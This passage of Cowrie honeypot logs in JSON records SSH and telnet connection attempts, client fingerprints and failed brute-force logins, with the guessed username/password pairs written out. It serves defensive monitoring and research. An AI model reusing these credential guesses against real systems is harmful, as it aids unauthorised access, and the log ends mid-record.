{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":50902,"dst_ip":"159.203.135.109","dst_port":23,"session":"1545d760e473","protocol":"telnet","message":"New connection: 188.166.220.49:50902 (159.203.135.109:23) [session: 1545d760e473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:04.250773Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":56520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4d06cb9a84","protocol":"ssh","message":"New connection: 45.78.208.179:56520 (159.203.135.109:22) [session: ca4d06cb9a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:05.383995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:05.390452Z","src_ip":"45.78.208.179","session":"ca4d06cb9a84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:05.628951Z","src_ip":"45.78.208.179","session":"ca4d06cb9a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":51390,"dst_ip":"159.203.135.109","dst_port":23,"session":"00cddf049ad2","protocol":"telnet","message":"New connection: 188.166.220.49:51390 (159.203.135.109:23) [session: 00cddf049ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:05.679935Z"}
{"eventid":"cowrie.login.failed","username":"ooklaserver","password":"ooklaserver123","message":"login attempt [ooklaserver/ooklaserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:06.609803Z","src_ip":"45.78.208.179","session":"ca4d06cb9a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:07.848921Z","src_ip":"45.78.208.179","session":"ca4d06cb9a84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.53600549697876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:08.831923Z","src_ip":"188.166.220.49","session":"d3a44d9152dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44982,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f3de9e1dd97","protocol":"ssh","message":"New connection: 159.203.92.129:44982 (159.203.135.109:22) [session: 4f3de9e1dd97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:08.920997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:08.925724Z","src_ip":"159.203.92.129","session":"4f3de9e1dd97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:08.930332Z","src_ip":"159.203.92.129","session":"4f3de9e1dd97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"o123456","message":"login attempt [admin/o123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:08.942163Z","src_ip":"159.203.92.129","session":"4f3de9e1dd97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.71668195724487,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:08.947392Z","src_ip":"188.166.220.49","session":"7784decfb83a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:09.949502Z","src_ip":"159.203.92.129","session":"4f3de9e1dd97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58728,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a1329959c23","protocol":"telnet","message":"New connection: 188.166.220.49:58728 (159.203.135.109:23) [session: 7a1329959c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:10.068577Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":47168,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f3df7aad3c","protocol":"ssh","message":"New connection: 80.94.92.168:47168 (159.203.135.109:22) [session: 11f3df7aad3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:10.203367Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:10.307068Z","src_ip":"80.94.92.168","session":"11f3df7aad3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58136,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4bbb3cc8ac1","protocol":"telnet","message":"New connection: 188.166.220.49:58136 (159.203.135.109:23) [session: a4bbb3cc8ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:12.556993Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":38884,"dst_ip":"159.203.135.109","dst_port":23,"session":"61e2217ce568","protocol":"telnet","message":"New connection: 188.166.220.49:38884 (159.203.135.109:23) [session: 61e2217ce568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:16.552541Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":39062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5c4941574f1","protocol":"telnet","message":"New connection: 188.166.220.49:39062 (159.203.135.109:23) [session: d5c4941574f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:16.682861Z"}
{"eventid":"cowrie.session.closed","duration":34.00701880455017,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:17.640831Z","src_ip":"188.166.220.49","session":"bcc33a53f4d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83815240859985,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:17.683894Z","src_ip":"188.166.220.49","session":"bde34ec84e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.292460680007935,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:18.117881Z","src_ip":"188.166.220.49","session":"25f72422ed1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12539887428284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:18.181920Z","src_ip":"188.166.220.49","session":"da11c9f69453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":41810,"dst_ip":"159.203.135.109","dst_port":23,"session":"5045c87dcba4","protocol":"telnet","message":"New connection: 188.166.220.49:41810 (159.203.135.109:23) [session: 5045c87dcba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:18.959388Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":44706,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f4fce4dd592","protocol":"telnet","message":"New connection: 188.166.220.49:44706 (159.203.135.109:23) [session: 3f4fce4dd592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:21.159986Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":47434,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d795f31f89","protocol":"telnet","message":"New connection: 188.166.220.49:47434 (159.203.135.109:23) [session: 65d795f31f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:23.176461Z"}
{"eventid":"cowrie.session.closed","duration":33.20915365219116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:27.916406Z","src_ip":"188.166.220.49","session":"4cee09909fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.64869976043701,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:28.262882Z","src_ip":"188.166.220.49","session":"efaedd91db33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37636423110962,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:28.698856Z","src_ip":"188.166.220.49","session":"48afc61524ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":35692,"dst_ip":"159.203.135.109","dst_port":23,"session":"873fb61c7ab1","protocol":"telnet","message":"New connection: 188.166.220.49:35692 (159.203.135.109:23) [session: 873fb61c7ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:36.167407Z"}
{"eventid":"cowrie.session.closed","duration":34.05882287025452,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:38.309449Z","src_ip":"188.166.220.49","session":"1545d760e473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":49853,"dst_ip":"159.203.135.109","dst_port":22,"session":"158eb652472f","protocol":"ssh","message":"New connection: 223.197.186.7:49853 (159.203.135.109:22) [session: 158eb652472f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:38.787713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:38.791990Z","src_ip":"223.197.186.7","session":"158eb652472f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:39.013542Z","src_ip":"223.197.186.7","session":"158eb652472f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.698824644088745,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:39.378659Z","src_ip":"188.166.220.49","session":"00cddf049ad2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gw123456","message":"login attempt [root/Gw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:39.926186Z","src_ip":"223.197.186.7","session":"158eb652472f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:41.141900Z","src_ip":"223.197.186.7","session":"158eb652472f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":43668,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc258f30e958","protocol":"telnet","message":"New connection: 188.166.220.49:43668 (159.203.135.109:23) [session: dc258f30e958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:42.141204Z"}
{"eventid":"cowrie.session.closed","duration":35.24347686767578,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:45.311899Z","src_ip":"188.166.220.49","session":"7a1329959c23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31778264045715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:46.874650Z","src_ip":"188.166.220.49","session":"a4bbb3cc8ac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.228113889694214,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:50.780548Z","src_ip":"188.166.220.49","session":"61e2217ce568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19231843948364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:50.875047Z","src_ip":"188.166.220.49","session":"d5c4941574f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36364,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6fb44e7e8a1","protocol":"ssh","message":"New connection: 159.203.92.129:36364 (159.203.135.109:22) [session: e6fb44e7e8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:51.547889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:51.551129Z","src_ip":"159.203.92.129","session":"e6fb44e7e8a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:51.554991Z","src_ip":"159.203.92.129","session":"e6fb44e7e8a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ora_root","message":"login attempt [admin/ora_root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:51.607700Z","src_ip":"159.203.92.129","session":"e6fb44e7e8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56840,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba2f361d0228","protocol":"telnet","message":"New connection: 188.166.220.49:56840 (159.203.135.109:23) [session: ba2f361d0228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:52.414598Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:52.639007Z","src_ip":"159.203.92.129","session":"e6fb44e7e8a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63913822174072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:53.598447Z","src_ip":"188.166.220.49","session":"5045c87dcba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":60336,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ecb1dc7864","protocol":"telnet","message":"New connection: 188.166.220.49:60336 (159.203.135.109:23) [session: 02ecb1dc7864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:54.971902Z"}
{"eventid":"cowrie.session.closed","duration":33.94709634780884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:55.106961Z","src_ip":"188.166.220.49","session":"3f4fce4dd592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":47164,"dst_ip":"159.203.135.109","dst_port":22,"session":"f87de1507bde","protocol":"ssh","message":"New connection: 103.148.100.146:47164 (159.203.135.109:22) [session: f87de1507bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:57.026110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:57.031282Z","src_ip":"103.148.100.146","session":"f87de1507bde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08424234390259,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:09:57.260561Z","src_ip":"188.166.220.49","session":"65d795f31f89","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 